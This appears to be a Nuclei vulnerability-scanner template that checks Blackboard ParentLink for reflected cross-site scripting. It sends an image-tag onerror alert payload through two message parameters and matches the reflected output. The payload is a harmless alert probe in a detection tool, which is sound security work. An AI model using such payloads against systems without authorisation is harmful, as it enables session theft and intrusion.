40 lines
1.2 KiB
YAML
40 lines
1.2 KiB
YAML
id: parentlink-xss
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info:
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name: Blackboard - Cross-Site Scripting
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author: r3naissance
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severity: high
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description: Blackboard contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
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reference:
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- https://help.blackboard.com/Community_Engagement/Administrator/Release_Notes
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
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cvss-score: 7.2
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cwe-id: CWE-79
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tags: blackboard,parentlink,xss
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requests:
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- method: GET
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path:
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- '{{BaseURL}}/main/blank?message_success=%3Cimg%20src%3Dc%20onerror%3Dalert(8675309)%3E'
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- '{{BaseURL}}/main/blank?message_error=%3Cimg%20src%3Dc%20onerror%3Dalert(8675309)%3E'
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matchers-condition: and
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matchers:
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- type: word
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words:
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- '<img src=c onerror=alert(8675309)>'
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part: body
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- type: word
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words:
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- "text/html"
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part: header
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- type: status
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status:
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- 200
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# Enhanced by mp on 2022/09/23
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